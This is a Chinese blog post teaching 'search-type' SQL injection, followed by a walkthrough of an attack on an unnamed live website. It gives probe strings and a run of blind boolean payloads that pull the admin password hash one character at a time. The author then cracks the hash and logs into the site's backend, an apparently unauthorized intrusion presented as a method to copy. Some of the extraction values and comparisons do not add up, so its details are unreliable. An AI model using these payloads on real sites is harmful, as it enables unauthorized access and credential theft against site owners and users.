搜索型注入

来源:互联网 发布:深圳网络推广方法 编辑:程序博客网 时间:2024/06/05 17:06

如果没有说错的话,在国内应该是lake2最早提出搜索型文本框注入的。这个问题我也是最近才搞明白的,因为上网时间少,工作又比较忙,所以很少时间来学习。以前很傻以为搜索型注入就是直接在文本框中输入and 1=1 和and 1=2,结果每次都是出现同样的页面,说是什么没有找到你搜索的关键词,汗啊
曾经有个人就说过,中国的黑客满地都是啊;而且有一项调查显示,中国有超过50%的大学生想成为黑客,这也许就是中国第三代黑客基本山都是在校大学生了。
经过N多人是使用阿D和明小子,现在很明显的注入漏洞已经很少了。记得有个人说的比较对,要是没有中国的“黑客”的努力,中国的网络安全发展的不会这么快,其实这句话说的不无道理。
跑题了................
说到注入,最根本的原因是程序员在写程序的时候没有把数字和字符过滤严格,所以只要是涉及到注入就要联系到 and 1=1 and 1=2经典的判断语句,不过搜索型注入也是在普通SQL基础上的一个升华
判断搜索型注入的方法:
1 搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;
2 搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;
3 搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况
4 搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况
5 根据两次的返回情况来判断是不是搜索型文本框注入了
后面就是手工注入了,和普通的SQL注入是一样的了...
手工注入还是先判断一下数据库类型,如果是MSSQL,就可以使用 order by/union/concat/update/等关键词来提高工作效率
如果是ACCESS的话,就是苦力活了,一个一个猜吧

 

首先判断注入点,在查询关键字那里输入:4%' and 1=1 and '%' ='    返回正常,没报错,

然后输入:4%' and 1=2 and '%' ='  报错了,说明这个地方是存在注入点的。
这个是post的方式的,抓包之后,本来打算用工具来跑的,试了一下,没检测出来,我就用手工来慢慢检测吧。
我没有马上查表名,而是去看了看后台,直接在域名后面加上admin成功爆出后台,找到后台后看了一下这个后台的源文件。

好了,我们先来查询一下表名吧,在搜索框里输入:%'and(select count(*)from admin)>0 and '%'='     返回正常,说明这个admin表存在。

我再来查看一下字段吧,从刚才查看那个后台的源文件得知有psw这个字段,查询字段:
4%'and(select top 1 len(psw)from admin) and '%'='  返回正常。

现在重点来了,我们查一下它里面的内容吧
4%'and(select top 1 asc(mid(psw,1,1))from admin)>54 and '%'='  
4%'and(select top 1 asc(mid(psw,2,1))from admin)>49 and '%'='  
4%'and(select top 1 asc(mid(psw,3,1))from admin)>54 and '%'='  
4%'and(select top 1 asc(mid(psw,4,1))from admin)>96 and '%'='  
4%'and(select top 1 asc(mid(psw,5,1))from admin)>100 and '%'=' 
4%'and(select top 1 asc(mid(psw,6,1))from admin)>98 and '%'='  
4%'and(select top 1 asc(mid(psw,7,1))from admin)>48 and '%'='  
4%'and(select top 1 asc(mid(psw,8,1))from admin)>97 and '%'='  
4%'and(select top 1 asc(mid(psw,9,1))from admin)>96 and '%'='  
4%'and(select top 1 asc(mid(psw,10,1))from admin)>53 and '%'=' 
4%'and(select top 1 asc(mid(psw,11,1))from admin)>99 and '%'=' 
4%'and(select top 1 asc(mid(psw,12,1))from admin)>55 and '%'=' 
4%'and(select top 1 asc(mid(psw,13,1))from admin)>100 and '%'=' 
4%'and(select top 1 asc(mid(psw,14,1))from admin)>49 and '%'='  
4%'and(select top 1 asc(mid(psw,15,1))from admin)>51 and '%'='   
4%'and(select top 1 asc(mid(psw,16,1))from admin)>56 and '%'='   
手工注入就是麻烦,通过我慢慢的检测,成功爆出了相应的值:
55 50 55 97 101 99 49 98 97 54 96 56 101 50 52 57
用转换工具转换了一下得出:727aec1ba6d8e249 (md5值)
解密之后就是:101010
我试了一下用户名admin果然正确,登录后台。

0 0
原创粉丝点击